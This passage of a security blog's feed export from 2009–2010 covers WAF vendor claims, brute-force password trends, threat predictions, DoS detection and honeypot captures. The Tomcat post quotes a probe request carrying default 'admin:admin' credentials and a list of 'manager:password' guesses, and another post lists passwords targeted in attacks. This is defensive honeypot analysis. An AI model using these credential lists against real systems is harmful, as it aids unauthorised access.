&lt;/span&gt;&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:arial;color:#000000;"&gt;I have seen many of these issues first hand when working with WAF prospects during RFI/evaluation phases where vendor puffery abounds and prospects assume that the security coverage of each product is equal and this is not the case. Put simply - not all WAF learning systems are created equal. Most end users equate learning with achieving a positive security model for parameter input validation of payloads (size and character class). This is the most basic component that all commercial WAFs should have (&lt;/span&gt;&lt;a href="http://projects.webappsec.org/Web-Application-Firewall-Evaluation-Criteria"&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;span style="color:#6600cc;"&gt;WASC WAFEC&lt;/span&gt; &lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt;v2 will tackle these must-have requirements) but a top tier WAF leaning system (such as the Adaption engine in &lt;/span&gt;&lt;a href="http://www.breach.com/products/webdefend.html"&gt;&lt;span style="font-family:arial;color:#6600cc;"&gt;Breach Security's WebDefend product&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt;) goes beyond input validation into behavioral profiling which tracks much more meta-data about the proper format and construction of the transactional data. This allows it to identify when request methods and parameter locations change due to CSRF attacks or when there are suddenly multiple parameters with the same name (HTTP Parameter Pollution attacks). Input validation alone will not catch these types of cutting-edge attacks. &lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;&lt;span style="font-family:arial;color:#000000;"&gt;The lack of scrutiny of the security features drive security vendors to neglect security and focus on other areas such as GUI, reporting or manageability. This is shown in its extreme by the inability of some scanners to find existing vulnerabilities in sites provides for testing by the vendor itself.&lt;/span&gt;&lt;/em&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:arial;color:#000000;"&gt;As the Director of Application Security Research for Breach Security, my main focus is obviously security. Other features are nice and do influence many prospects, but in in my view a WAFs main purpose to to identify and block attacks. It is for this reason that we deployed the &lt;/span&gt;&lt;a href="http://www.modsecurity.org/demo/"&gt;&lt;span style="font-family:arial;color:#6600cc;"&gt;ModSecurity/Core Rule Set (CRS) demonstration testing page&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt;. Breach is in a unique position in the web application firewall industry. Having an open source product such as ModSecurity in our portfolio allows us to expose our security rules to the public for quality assurance and testing purposes in ways that other WAF vendors cannot. Our goal for this demo page is to leverage &lt;/span&gt;&lt;a href="http://sla.ckers.org/forum/read.php?12,32282,32305"&gt;&lt;span style="font-family:arial;color:#6600cc;"&gt;the global pool of outstanding web application security experts to help test ModSecurity&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:arial;color:#000000;"&gt; to make it, and our WebDefend product, better tools for the community at large. Benefits of providing the demonstration testing page include:&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;The Core Rule Set is being tested by pen-testing specialists who are experts in breaking into web applications and evading security filtering devices.&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;Signature improvements are leveraged back into the entire Breach Security product line including WebDefend. I can tell that having these pentesting consultants bang on the CRS has allowed us to identify a number of evasion issues and update our rules appropriately.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;I wouldn't want for these statements to fall into the Puffery category :) so you can check this yourself by reviewing our &lt;a href="https://www.modsecurity.org/tracker/secure/IssueNavigator.jspa?reset=true&amp;amp;mode=hide&amp;amp;pid=10020"&gt;JIRA ticketing system &lt;/a&gt;to get an idea of the types of issues identified and their resolutions. Are there any other WAF vendors that are providing this type of access to their rules development process?&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;Similar to the conclusions made with vuln scanners, in order to get an accurate testing of a WAF you must deploy it in your environment to verify how it does analyzing your web application traffic. This is the only true way that you will be able to confirm how it does.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:arial;color:#000000;"&gt;&lt;strong&gt;&lt;em&gt;Bottom line - don't rely on Puffery claims by a vendor. Test the solution yourself.&lt;/em&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-2501381631514735222?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/2501381631514735222/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=2501381631514735222' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2501381631514735222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2501381631514735222'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/02/beware-of-web-app-sec-puffery.html' title='Beware of Web App Sec Puffery'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_E0YEPhKPc2k/S3WHtKlL9PI/AAAAAAAAAF0/YQJUXKn9qi4/s72-c/puffery.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-8880785355448990189</id><published>2010-02-09T16:40:00.015-05:00</published><updated>2010-02-10T11:35:09.411-05:00</updated><title type='text'>Top 10 Targeted Passwords</title><content type='html'>&lt;p&gt;&lt;span style="color:#000000;"&gt;&lt;em&gt;Submitted by Ryan Barnett 02/09/2010&lt;/em&gt; &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#000000;"&gt;There has been a lot of Internet chatter recently about the &lt;/span&gt;&lt;a href="http://www.theregister.co.uk/2010/01/21/lame_passwords_exposed_by_rockyou_hack/"&gt;&lt;span style="color:#000000;"&gt;RockYou passwords &lt;/span&gt;&lt;/a&gt;&lt;span style="color:#000000;"&gt;that were exposed when attacker's extracted them by using SQL Injection. This huge data set did offer a unique look into what types of passwords user will chose - if no &lt;/span&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2009/10/all-about-website-password-policies.html"&gt;&lt;span style="color:#000000;"&gt;password complexity &lt;/span&gt;&lt;/a&gt;&lt;span style="color:#000000;"&gt;rules are enforced. &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color:#000000;"&gt;These weak passwords are a critical component of the overall RISK equation, however they do not include perhaps the most important factor - are any of these passwords being used by attackers in actual &lt;/span&gt;&lt;a href="http://projects.webappsec.org/Brute-Force"&gt;&lt;span style="color:#000000;"&gt;brute force attacks&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#000000;"&gt;? These passwords got me thinking and I went back into the data we have collected at the &lt;/span&gt;&lt;a href="http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots"&gt;&lt;span style="color:#000000;"&gt;WASC Distributed Open Proxy Honeypot Project &lt;/span&gt;&lt;/a&gt;&lt;span style="color:#000000;"&gt;and specifically reviewed the top passwords targeted by attacker's during their &lt;/span&gt;&lt;a href="http://tacticalwebappsec.blogspot.com/2009/09/distributed-brute-force-attacks-against.html"&gt;&lt;span style="color:#000000;"&gt;Yahoo horizontal brute force attacks&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#000000;"&gt;. Here is a listing of the top passwords that we have identified as used in these reverse/horizontal (when the attacker chooses one password and cycles through different usernames) attacks -&lt;/span&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;weezer&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;123456&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;1234567&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;qwerty&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;killyou&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;america&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;pakistan&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;Jennifer+Lopez&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;yankees&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;color:#000000;"&gt;000000&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="color:#000000;"&gt;As you might guess, some of these passwords also appear in the RockYou data set and are easily guessed/brute forced by hacking tools (as they are all numbers or dictionary words). &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;I attribute the absence of other common passwords (such as "password") to our small data set (~470 requests) compared to RockYou.   I am assuming that our honeypots are only seeing small portions of this distributed scanning as our honeypots are but one of probably many proxies that attackers are sending their attacks through.  So even though the data presented here is statistically insignificant compared to the size of the RockYou data set, it does provide corollary evidence of the passwords that are actually being targeted in brute force attacks.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-8880785355448990189?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/8880785355448990189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=8880785355448990189' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/8880785355448990189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/8880785355448990189'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/02/top-10-targeted-passwords.html' title='Top 10 Targeted Passwords'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-557811580582876094</id><published>2010-01-18T12:33:00.006-05:00</published><updated>2010-02-04T16:59:59.778-05:00</updated><title type='text'>2010 Web Application Security Predictions</title><content type='html'>&lt;span style="font-style: italic; color: rgb(0, 0, 0);font-family:times new roman;" &gt;Submitted by Ryan Barnett 01/18/2010&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-family:arial;" &gt;&lt;br /&gt;&lt;br /&gt;It is always an interesting exercise to analyze web application security compromises and then try and predict what might happen in the future. Based on the data gathered by the &lt;/span&gt;&lt;a style="font-family: arial; color: rgb(0, 0, 0);" href="http://projects.webappsec.org/Web-Hacking-Incident-Database"&gt;WASC Web Hacking Incident Database&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);font-family:arial;" &gt; (WHID) and other resources such as &lt;/span&gt;&lt;a style="font-family: arial; color: rgb(0, 0, 0);" href="http://datalossdb.org/search?breach_type[]=Hack&amp;amp;breach_type[]=Web&amp;amp;direction=desc&amp;amp;order=reported_date"&gt;datalossdb&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);font-family:arial;" &gt;, etc... there are a few types of incidents that seem probable for the 12 months.&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Web-based worms will migrate off social networking sites&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="color: rgb(0, 0, 0);" class="post-body entry-content"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;As we have seen from the previous sections, social networking types of web sites have fallen victim to web-based XSS/CSRF worms. It seems as though these types of web sites are a perfect testing ground for these types of attack mechanisms, however the attackers ideally want to migrate these attacks off to other types of web sites.  &lt;/span&gt;&lt;p  style="margin-bottom: 0in;font-family:times new roman;"&gt;&lt;span style="font-family:arial;"&gt;We believe that attackers will utilize Web 2.0 features such as &lt;/span&gt;RSS&lt;span style="font-family:arial;"&gt; feeds, AJAX and widgets to propagate malicious code on other web sites. A Probable target for attackers, due to its enormous user base, is iPhone financial web apps such as&lt;/span&gt;:&lt;/p&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;Mint&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;Bank of America Online Banking&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;E*Trade Mobile&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in;"&gt;Bloomberg Mobile&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   H2 { margin-bottom: 0.04in; color: #17365d; line-height: 100% }   H2.western { font-family: "Cambria", serif; font-size: 16pt; font-weight: normal }   H2.cjk { font-family: "DejaVu Sans"; font-size: 16pt; font-weight: normal }   H2.ctl { font-family: "Times New Roman", serif; font-size: 16pt; font-weight: normal }   P { margin-bottom: 0.08in }  --&gt;&lt;/style&gt;&lt;span style="font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Planting of malware will become a top concern&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;p face="arial" style="margin-bottom: 0in;"&gt;&lt;span style="font-family: arial;"&gt;Organizations can not afford to allow their web sites to serve malicious content to their customers. If this happens, consumer confidence will waiver and may cause them to move elsewhere. Another impact is that high profile web search engines such as Google may tag the web site as malicious and warn users. This negatively impacts Search Engine Optimization (SEO) efforts&lt;/span&gt;.&lt;/p&gt;  &lt;p face="times new roman" style="margin-bottom: 0in; font-family: arial;"&gt;This is one of those scenarios that can directly impact the bottom-line such as stock prices. Due to this risk level – organizations will focus more efforts on security capabilities to inspect outbound content to ensure that it is non-malicious.&lt;/p&gt;&lt;p face="arial" style="margin-bottom: 0in;"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   H2 { margin-bottom: 0.04in; color: #17365d; line-height: 100% }   H2.western { font-family: "Cambria", serif; font-size: 16pt; font-weight: normal }   H2.cjk { font-family: "DejaVu Sans"; font-size: 16pt; font-weight: normal }   H2.ctl { font-family: "Times New Roman", serif; font-size: 16pt; font-weight: normal }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt; &lt;p  style="margin-bottom: 0in; font-family: arial;font-family:arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Attacks against web-based critical infrastructure components&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p face="arial" style="margin-bottom: 0in; font-family: arial;"&gt;It is no secret that terrorists and adversarial nation-states are seeking the capabilities to attack and disrupt critical infrastructures in the United States. Nuclear power plants, power grids, transportation control systems are all targets and they also share a similar capability – they often have web-based front-ends. The bad guys are seeking to exploit web-based flaws in order to be able to obtain access to data or the ability to shut down or cause a denial of service condition.&lt;/p&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   H2 { margin-bottom: 0.04in; color: #17365d; line-height: 100% }   H2.western { font-family: "Cambria", serif; font-size: 16pt; font-weight: normal }   H2.cjk { font-family: "DejaVu Sans"; font-size: 16pt; font-weight: normal }   H2.ctl { font-family: "Times New Roman", serif; font-size: 16pt; font-weight: normal }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;   &lt;p style="margin-bottom: 0in; font-family: arial;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;HTTP Denial of Service attacks will take down important sites&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; font-family: arial;"&gt;Whereas network level DoS attacks aim to flood your pipe with lower-level OSI traffic (SYN packets, etc...), web application layer DoS attacks can often be achieved with much less traffic. Just take a look at Rsnake's Slowloris app if you want to see a perfect example of the fragility of web server availability. The point here is that the amount of traffic which can often cause an HTTP DoS condition is often much less than what a network level device would identify as anomalous and therefore would not report on it as they would with traditional network level botnet DDoS attacks.   &lt;/p&gt; &lt;p face="arial" style="margin-bottom: 0in; font-family: arial;"&gt;Network DDoS attacks aimed at web sites can still be effective if the circumstances are right, however there are other web application specific types of attacks that are much more effective while simultaneously requiring much less traffic. Odds are that there will be a number of high profile web sites that are knocked offline during 2010.&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-557811580582876094?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/557811580582876094/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=557811580582876094' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/557811580582876094'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/557811580582876094'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2010/01/2010-web-application-security.html' title='2010 Web Application Security Predictions'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-1208911331842758792</id><published>2009-10-06T11:48:00.004-04:00</published><updated>2009-10-06T12:41:29.811-04:00</updated><title type='text'>Identifying Denial of Service Conditions Through Performance Monitoring</title><content type='html'>&lt;span style="font-style: italic;"&gt;Submitted by Ryan Barnett  10/06/2009&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here is an interesting web application threat modeling exercise for you - &lt;span style="font-weight: bold; font-style: italic;"&gt;how do you plan to identify and mitigate web application level denial of service conditions on your web sites?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is one of those pesky security questions that, on the surface, seems pretty straight forward and then when you start peeling back the layers of complexity and interactions it becomes much more challenging.  Here are some items to keep in mind.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Network &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;DoS&lt;/span&gt; vs. Web App &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;DoS&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Whereas network level &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;DoS&lt;/span&gt; attacks aim to flood your pipe with lower-level &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;OSI&lt;/span&gt; traffic (SYN packets, etc...), web application layer &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;DoS&lt;/span&gt; attacks can often be achieved with much less traffic.  Just take a look at &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Rsnake's&lt;/span&gt; &lt;a href="http://ha.ckers.org/slowloris/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Slowloris&lt;/span&gt;&lt;/a&gt; app if you want to see a perfect example of the fragility of web server availability.  The point here is that the amount of traffic which can often cause an HTTP &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;DoS&lt;/span&gt; condition is often much less than what a network level device would identify as anomalous and therefore would not report on it as they would with traditional network level &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;botnet&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;DDoS&lt;/span&gt; attacks.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Rate Limiting&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A common identification/mitigation implementation is to attempt Rate Limiting.  This is essentially done by setting request threshold limits over a predefined period of time and monitoring request traffic for violations.  While this is certainly useful for identify aggressive automated attacks, it has its own limitations.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;What resources to protect?  &lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;While protecting a web application &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;login&lt;/span&gt; page is straight forward, many web site owners have not properly identified which resources are both critical and susceptible to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;DoS&lt;/span&gt; conditions.  There are many web apps that are extremely resource intensive and take a long time to complete - for example any reporting interface that needs to query a back-end database to generate large reports.  These apps are perfect targets for a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;DoS&lt;/span&gt; attack as the overall number of requests needed to consume open http sockets and RAM is much lower than a request for a static resource.&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;What threshold to set?  &lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Rate limiting is not a "one-size fits all" approach.  It is highly dependent upon the resource itself.  The threshold you would set against a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;login&lt;/span&gt; page to identify a brute force attack is much different then what you might set in order to identify a data scraping or &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;DoS&lt;/span&gt; attack.  The challenge for the defender is knowing ahead of time what to set.  &lt;span style="font-weight: bold;"&gt;This is not easy as most users are missing a significant piece of the puzzle - correlating web application performance statistics.&lt;/span&gt;  You may set an inbound rate limiting threshold for a resource that is either much too high and the application could fail due to the load (false negative), or you might set it much too low and start firing off alerts when in fact the application is able to handle the load quite fine (false positive).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Web Application Performance Monitoring&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The best method for identifying fragile web resources and potential &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;DoS&lt;/span&gt; thresholds is to actually monitor and track web application transaction processing times.  Breach Security today announced that &lt;a href="http://www.breach.com/news-events/press-releases/2009-10-06_WebDefend4.html"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;WebDefend&lt;/span&gt; 4.0&lt;/a&gt; has a new Performance monitoring capability that aims to fill this important need.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_E0YEPhKPc2k/Sstx8LFMOrI/AAAAAAAAAE8/iN8XizY9nFE/s1600-h/Perf_url_all.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 234px;" src="http://2.bp.blogspot.com/_E0YEPhKPc2k/Sstx8LFMOrI/AAAAAAAAAE8/iN8XizY9nFE/s400/Perf_url_all.png" alt="" id="BLOGGER_PHOTO_ID_5389526657659583154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;With performance monitoring, the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;WAF&lt;/span&gt; user can track the average processing time including the combined average request time, web server processing time and response time.  The following definitions apply in this pane:&lt;br /&gt;&lt;br /&gt;• Request time is measured from the first packet to the last packet of the request.&lt;br /&gt;&lt;br /&gt;• Web server processing time is measured from the last packet of the request to the first packet of the response.&lt;br /&gt;&lt;br /&gt;• Response time is measured from the first packet to the last packet of the response.&lt;br /&gt;&lt;br /&gt;With this information, it is easy to quickly identify the top URLs with high response latency and to pinpoint whether this is an application processing or networking issue.  This data is a much truer picture of DoS conditions vs. rate limiting thresholds.  The main advantages that this data brings to &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;DoS&lt;/span&gt; threat modeling are identification of fragile resources that would be susceptible to attacks and to identify the an estimated threshold setting.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-1208911331842758792?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/1208911331842758792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=1208911331842758792' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/1208911331842758792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/1208911331842758792'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/10/identifying-denial-of-service.html' title='Identifying Denial of Service Conditions Through Performance Monitoring'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_E0YEPhKPc2k/Sstx8LFMOrI/AAAAAAAAAE8/iN8XizY9nFE/s72-c/Perf_url_all.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-210770977402560155</id><published>2009-10-05T09:58:00.002-04:00</published><updated>2009-10-05T10:12:45.795-04:00</updated><title type='text'>WASC Honeypots - Apache Tomcat Admin Interface Probes</title><content type='html'>&lt;span style="font-style: italic;"&gt;Submitted by Ryan Barnett 10/05/2009&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We have seen some probes similar to the following in our WASC Distributed Open Proxy Honeypots -&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;blockquote style="font-family: courier new;"&gt;&lt;span&gt;GET /manager/html HTTP/1.1&lt;/span&gt;&lt;br /&gt;       &lt;span&gt;Referer:&lt;/span&gt; &lt;a href="http://91.96.51.40:8080/manager/html" target="_blank"&gt;http://obscured:8080/&lt;wbr&gt;manager/html&lt;/a&gt;&lt;br /&gt;       &lt;span&gt;User-Agent:&lt;/span&gt; Mozilla/4.0 (compatible; MSIE &lt;div id=":7c" class="ii gt"&gt;&lt;wbr&gt;5.01; Windows NT 5.0; MyIE 3.&lt;wbr&gt;01)&lt;br /&gt;       &lt;span&gt;Host:&lt;/span&gt; &lt;a href="http://91.96.51.40:8080/" target="_blank"&gt;obscured:8080&lt;/a&gt;&lt;br /&gt;       &lt;span&gt;Connection:&lt;/span&gt; Close&lt;br /&gt;       &lt;span&gt;Cache-Control:&lt;/span&gt; no-cache&lt;br /&gt;       &lt;span&gt;Authorization:&lt;/span&gt; Basic YWRtaW46YWRtaW4=&lt;/div&gt;&lt;/blockquote&gt;&lt;div id=":7c" class="ii gt"&gt;This appears to be a probe attempt to access the Apache Tomcat Admin interface.  This is due to the combination of URI "/manager/html" and port 8080.  It looks as though the client is submitting authentication data in the Authorization header.  If you decode the base64 data, it shows the credentials as "admin:admin" which is the default username/password combination when Tomcat is installed.&lt;br /&gt;&lt;br /&gt;WASC Honeypot participant Erwin Geirnaert has seen similar activity and provides more data &lt;a href="http://www.zionsecurity.com/downloads/articles/case-study-using-splunk-for-web-application-forensics.aspx?articlepage=4"&gt;here&lt;/a&gt;.  The attackers are conducting brute force scans trying different passwords for the "manager" account -&lt;br /&gt;&lt;pre style="font-family: courier new;"&gt;&lt;span style="font-size:100%;"&gt;&lt;code&gt;&lt;/code&gt;&lt;blockquote&gt;&lt;code&gt;manager:Test&lt;br /&gt;manager:adminserver&lt;/code&gt;&lt;code&gt;manager:sqlserver&lt;br /&gt;manager:2009&lt;br /&gt;manager:159753&lt;br /&gt;manager:1234qwerasdfzxcv&lt;/code&gt;&lt;code&gt;&lt;br /&gt;manager:1234qwerasdf&lt;/code&gt;&lt;code&gt;&lt;br /&gt;manager:1234qwer&lt;/code&gt;&lt;code&gt;&lt;br /&gt;manager:123qwe&lt;/code&gt;&lt;code&gt;&lt;br 